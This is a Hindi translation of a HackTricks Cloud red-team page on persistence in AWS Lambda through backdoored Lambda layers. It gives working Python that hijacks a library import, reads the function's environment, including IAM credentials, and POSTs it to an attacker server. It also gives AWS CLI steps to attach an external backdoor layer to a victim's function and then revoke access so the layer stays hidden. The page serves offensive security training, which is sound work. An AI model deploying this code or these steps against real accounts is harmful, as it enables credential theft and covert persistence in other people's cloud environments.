AWS - Lambda Layers Persistence

AWS - Lambda Layers Persistence

शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Lambda Layers

Lambda layer एक .zip फ़ाइल आर्काइव है जिसमें अतिरिक्त कोड या अन्य सामग्री हो सकती है। एक layer में लाइब्रेरीज़, कस्टम रनटाइम, डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं।

एक फ़ंक्शन में अधिकतम पांच layers शामिल की जा सकती हैं। जब आप एक फ़ंक्शन में layer शामिल करते हैं, तो सामग्री /opt डायरेक्टरी में निष्कर्षित की जाती है निष्पादन वातावरण में।

डिफ़ॉल्ट रूप से, आपके द्वारा बनाई गई layers आपके AWS खाते के लिए निजी होती हैं। आप अन्य खातों के साथ एक layer साझा करने का चयन कर सकते हैं या layer को सार्वजनिक बना सकते हैं। यदि आपके फ़ंक्शन्स एक अलग खाते द्वारा प्रकाशित layer का उपयोग करते हैं, तो आपके फ़ंक्शन्स उस layer संस्करण का उपयोग जारी रख सकते हैं यदि वह हटा दिया गया है, या उस layer तक पहुँचने की आपकी अनुमति निरस्त कर दी गई है। हालांकि, आप हटाए गए layer संस्करण का उपयोग करके नया फ़ंक्शन नहीं बना सकते हैं या फ़ंक्शन्स को अपडेट नहीं कर सकते हैं।

कंटेनर इमेज के रूप में तैनात किए गए फ़ंक्शन्स layers का उपयोग नहीं करते हैं। इसके बजाय, आप अपने पसंदीदा रनटाइम, लाइब्रेरीज़, और अन्य निर्भरताओं को कंटेनर इमेज में पैकेज करते हैं जब आप इमेज बनाते हैं।

Python लोड पथ

Lambda में Python द्वारा उपयोग किया जाने वाला लोड पथ निम्नलिखित है:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

देखें कि दूसरे और तीसरे स्थान का उपयोग किस प्रकार से डायरेक्टरीज द्वारा किया जाता है जहां लैम्ब्डा लेयर्स अपनी फाइलों को अनकंप्रेस करते हैं: /opt/python/lib/python3.9/site-packages और /opt/python

यदि कोई हमलावर एक प्रयुक्त लैम्ब्डा लेयर में बैकडोर जोड़ने में सफल हो जाता है या एक ऐसा लेयर जोड़ता है जो सामान्य लाइब्रेरी लोड होने पर मनमाना कोड निष्पादित करेगा, तो वह प्रत्येक लैम्ब्डा आह्वान के साथ दुर्भावनापूर्ण कोड निष्पादित करने में सक्षम होगा।

इसलिए, आवश्यकताएं हैं:

  • लाइब्रेरीज की जांच करें जो पीड़ित के कोड द्वारा लोड की जाती हैं

  • एक प्रॉक्सी लाइब्रेरी लैम्ब्डा लेयर्स के साथ बनाएं जो कस्टम कोड निष्पादित करेगी और मूल लाइब्रेरी को लोड करेगी

पहले से लोड की गई लाइब्रेरीज

इस तकनीक का दुरुपयोग करते समय मुझे एक कठिनाई का सामना करना पड़ा: कुछ लाइब्रेरीज पहले से ही पायथन रनटाइम में लोड हो चुकी होती हैं जब आपका कोड निष्पादित होता है। मुझे os या sys जैसी चीजों की उम्मीद थी, लेकिन json लाइब्रेरी भी लोड की गई थी। इस स्थायित्व तकनीक का दुरुपयोग करने के लिए, कोड को एक नई लाइब्रेरी लोड करनी होगी जो कोड निष्पादित होने पर लोड नहीं होती है।

इस प्रकार के पायथन कोड के साथ यह संभव है कि लैम्ब्डा में पायथन रनटाइम के अंदर पहले से लोड की गई लाइब्रेरीज की सूची प्राप्त की जा सके:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

और यह है सूची (यह जांच लें कि os या json जैसी लाइब्रेरीज पहले से मौजूद हैं)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Lambda Layer में बैकडोरिंग

इस उदाहरण में मान लेते हैं कि लक्षित कोड csv इम्पोर्ट कर रहा है। हम csv लाइब्रेरी के इम्पोर्ट में बैकडोरिंग करने जा रहे हैं

इसके लिए, हम csv नामक डायरेक्टरी बनाएंगे जिसमें __init__.py फाइल होगी, जो लैम्ब्डा द्वारा लोड किए गए पथ पर होगी: /opt/python/lib/python3.9/site-packages फिर, जब लैम्ब्डा निष्पादित होता है और csv लोड करने की कोशिश करता है, हमारी __init__.py फाइल लोड और निष्पादित की जाएगी। इस फाइल में निम्नलिखित कार्य करने चाहिए:

  • हमारे पेलोड को निष्पादित करना

  • मूल csv लाइब्रेरी को लोड करना

हम दोनों कार्य निम्नलिखित के साथ कर सकते हैं:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

फिर, इस कोड को python/lib/python3.9/site-packages/__init__.py पथ में ज़िप करें और इसे एक लैम्ब्डा लेयर के रूप में जोड़ें।

आप इस कोड को https://github.com/carlospolop/LambdaLayerBackdoor पर पा सकते हैं।

एकीकृत पेलोड पहली बार जब इसे आह्वान किया जाता है या लैम्ब्डा कंटेनर के रीसेट के बाद (कोड का परिवर्तन या ठंडा लैम्ब्डा) IAM क्रेडेंशियल्स को एक सर्वर पर भेजेगा, लेकिन अन्य तकनीकें जैसे कि निम्नलिखित भी एकीकृत की जा सकती हैं:

pageAWS - Steal Lambda Requests

बाहरी लेयर्स

ध्यान दें कि बाहरी खातों से लैम्ब्डा लेयर्स का उपयोग करना संभव है। इसके अलावा, एक लैम्ब्डा एक बाहरी खाते से एक लेयर का उपयोग कर सकता है भले ही उसके पास अनुमतियां न हों। यह भी ध्यान दें कि एक लैम्ब्डा के पास अधिकतम 5 लेयर्स हो सकते हैं

इसलिए, इस तकनीक की बहुमुखी प्रतिभा को बढ़ाने के लिए एक हमलावर कर सकता है:

  • उपयोगकर्ता के मौजूदा लेयर में बैकडोर जोड़ें (कुछ भी बाहरी नहीं है)

  • अपने खाते में एक लेयर बनाएं, पीड़ित खाते को लेयर का उपयोग करने की अनुमति दें, लेयर को पीड़ित के लैम्ब्डा में कॉन्फ़िगर करें और अनुमति हटा दें

  • लैम्ब्डा अभी भी लेयर का उपयोग करने में सक्षम होगा और पीड़ित के पास लेयर्स कोड को डाउनलोड करने का कोई आसान तरीका नहीं होगा (लैम्ब्डा के अंदर एक रिवर्स शेल प्राप्त करने के अलावा)

  • पीड़ित aws lambda list-layers का उपयोग करके बाहरी लेयर्स को नहीं देख पाएगा

```bash # Upload backdoor layer aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Give everyone access to the lambda layer

Put the account number in --principal to give access only to an account

aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Add layer to victims Lambda

Remove permissions

aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1

<details>

<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>

HackTricks का समर्थन करने के अन्य तरीके:

* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें।
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।

</details>

Last updated